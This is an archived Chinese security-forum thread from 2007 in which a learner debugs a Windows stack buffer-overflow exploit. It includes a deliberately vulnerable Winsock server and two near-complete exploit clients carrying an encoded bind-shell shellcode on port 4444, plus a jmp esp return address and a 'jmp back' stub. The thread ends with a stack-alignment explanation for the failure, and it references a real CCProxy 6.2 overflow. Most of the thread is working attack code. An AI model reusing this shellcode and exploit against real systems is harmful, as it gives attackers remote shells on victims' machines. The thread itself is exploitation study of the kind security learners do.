首页
社区
课程
招聘
[原创]请教一下exploit的问题?
发表于: 2007-7-2 13:18 6323

[原创]请教一下exploit的问题?

2007-7-2 13:18
6323
请教大家一下!我把shellcode放到jmp esp 后能成功执行。
         
            但是我把shellcode放到jmp esp前, 并用jmp back跳回去能成功执行到shellcode,shellcode却不能成功执行,执行了一点后进程结束了。(理论上应该行啊~!)
         
          最近学着研究CCProxy 6.2 telnet ping溢出,用jmp esp覆盖ret后直接执行shellcode能成功。但是把shellcode放到ret地址前面的时候,我用jmp back能成功执行到shellcode却不能完全成功的执行shellcode。

            我本来以为是我放到jmp esp 前面的shellcode被改变了,可是发现并没有改变啊。我就自己写了一个有漏洞的小服务器的程序,我用shellcode放到jmp esp 后就能直接成功,
但是把 shellcode放到前面,用jmp back能成功执行到shellcode但是也是不能成功执行完shellcode就进程结束了。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 220
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
把代码贴一下,一调试就知道问题了。
2007-7-2 16:19
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
打个比喻
                  
                          ret覆盖成JMP ESP的地址
                                 |
      nop................................|ret|shellcode               这种模式就能成功

                          ret覆盖成JMP ESP的地址         
                                  |
      nop........shellcode..nop..|ret|Jmp back           这种模式能跳到前面执行到NOP 进而
              |                                                 |               执行到shellcode,shellcode 却没
              |                                                 |                                        |                    
              —————————————————                                        |                  
                                          jmp back 跳到前面的NOP 梯子那里         |
                                                                     正确执行啊!郁闷中
2007-7-2 20:14
0
雪    币: 220
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
看懂你的意思了,理论上是没有问题的,让你贴下代码是想调试一下,看看内存中数据是否有变化。
2007-7-3 08:34
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
有问题的服务程序(用DEBUG 编译)
#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
char Buff[1024];
void overflow(char *s,int size)
{
  char s1[600];
  printf("receive %d bytes",size);
  s[size]=0;
  strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD= socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1)   {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0)   break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0)   break;
}
WSACleanup();
return 0;
}

这是exploit:#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"
#include "winsock2.h"
#pragma comment(lib,"Ws2_32")
int sock;
//char jmp_2000esp[]="\x28\x7f\xe7\x77";
char jmp_esp[]="\x8b\x51\x81\x7c";
char buffer[1024];
char jmp_back[]="\xb9\x67\x45\x23\x21\xc1\xe9\x14\x2b\xe1\xff\xe4";
char shellcode[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\x01\x80\x34\x0b\xf8\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\xf8\xf8\xa7\x9c\x59\xc8"
"\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\x73\x0f\x92"
"\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f"
"\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\xfd\xa1\x10\x78\xf8\xf8\xf8"
"\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae"
"\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe8\x73\x20\xcb\x38"
"\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x92\xe8\xa9\xab\x07\xae\xec"
"\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x07\xae\xe4\x73\x20\x90\x9b"
"\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x73\x04\x92\xec\xa1\xcb\x38"
"\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71"
"\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9"
"\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xcb\x38\xb0\xa8\x07\xae\xf0"
"\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb"
"\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c"
"\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6"
"\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb"
"\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x07\xca\x8c\x69\xf4\x31\x44"
"\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c\xe8"
"\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9";

int main(int argc, char* argv[])
{
        memset(buffer,0x90,1024);
        memcpy(&buffer[280],shellcode,314);
        //memcpy(&buffer[604],jmp_2000esp,4);
        memcpy(&buffer[604],jmp_esp,4);
                memcpy(&buffer[608],jmp_back,12);
        struct sockaddr_in server;
        WSADATA ws;
        WSAStartup(MAKEWORD(2,2),&ws);
        sock=socket(AF_INET,SOCK_STREAM,0);
        server.sin_family=AF_INET;
        server.sin_port=htons(3764);
        server.sin_addr.s_addr=inet_addr("192.168.129.25");
        connect(sock,(struct sockaddr*)&server,sizeof(server));
        send(sock,buffer,sizeof(buffer),0);
        closesocket(sock);
        return 0;
}

这是一JMP BACK方式的  但是不成功 郁闷中~~~~~~~!
2007-7-3 11:32
0
雪    币: 220
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
原因的确比较蹊跷,不过我改了一下jmp_back,倒是跳转成功了,至于原因还没搞明白.
下面是测试代码。
#include "stdio.h"
#include "stdlib.h"
#include "winsock2.h"
#pragma comment(lib,"Ws2_32")
int sock;
//char jmp_2000esp[]="\x28\x7f\xe7\x77";
char jmp_esp[]="\x12\x45\xFa\x7f";
char buffer[1024];
char jmp_back[]="\xb9\x41\x41\x41\x25\xc1\xe9\x14\x2b\xe1\xff\xe4";

char shellcode[]=
//监听4444端口
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\x01\x80\x34\x0b\xf8\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\xf8\xf8\xa7\x9c\x59\xc8"
"\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\x73\x0f\x92"
"\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f"
"\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\xfd\xa1\x10\x78\xf8\xf8\xf8"
"\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae"
"\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe8\x73\x20\xcb\x38"
"\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x92\xe8\xa9\xab\x07\xae\xec"
"\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x07\xae\xe4\x73\x20\x90\x9b"
"\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x73\x04\x92\xec\xa1\xcb\x38"
"\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71"
"\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9"
"\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xcb\x38\xb0\xa8\x07\xae\xf0"
"\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb"
"\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c"
"\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6"
"\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb"
"\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x07\xca\x8c\x69\xf4\x31\x44"
"\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c\xe8"
"\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9";

int main(int argc, char* argv[])
{
  memset(buffer,0x90,1024);
  memcpy(&buffer[280],shellcode,314);
  //memcpy(&buffer[604],jmp_2000esp,4);
  memcpy(&buffer[604],jmp_esp,4);
                memcpy(&buffer[608],jmp_back,12);
  struct sockaddr_in server;
  WSADATA ws;
  WSAStartup(MAKEWORD(2,2),&ws);
  sock=socket(AF_INET,SOCK_STREAM,0);
  server.sin_family=AF_INET;
  server.sin_port=htons(3764);
  server.sin_addr.s_addr=inet_addr("127.0.0.1");
  connect(sock,(struct sockaddr*)&server,sizeof(server));
  send(sock,buffer,sizeof(buffer),0);
  closesocket(sock);
  return 0;
}
2007-7-5 08:50
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
呵呵~~~~!没什么以后慢慢的积累够了~!
慢慢会搞明白的~~~!
2007-7-5 22:04
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
哈哈 搞明白咯~!今天正好在看<The Shellcoder's Handbook>中讲windows shellcode
那章,ws2_32.dll库里的函数需要堆栈以4字节对其。我写的那个JMP BACK把ESP减了0x212个字节,我改成0x214就行了,你的那个JMP BACK 把ESP 减了0x254个字节所以能行~!
    我又把shellcode换成MessageBox的,发现ESP减成了不是4字节对齐的就会问题,不过SHELLCODE是执行了并弹出一个对话框不过模糊的连字都看不清,而且不能拖动.
    可能API函数要以ESP4字节对齐吧~!
2007-7-6 00:24
0
游客
登录 | 注册 方可回帖
返回
//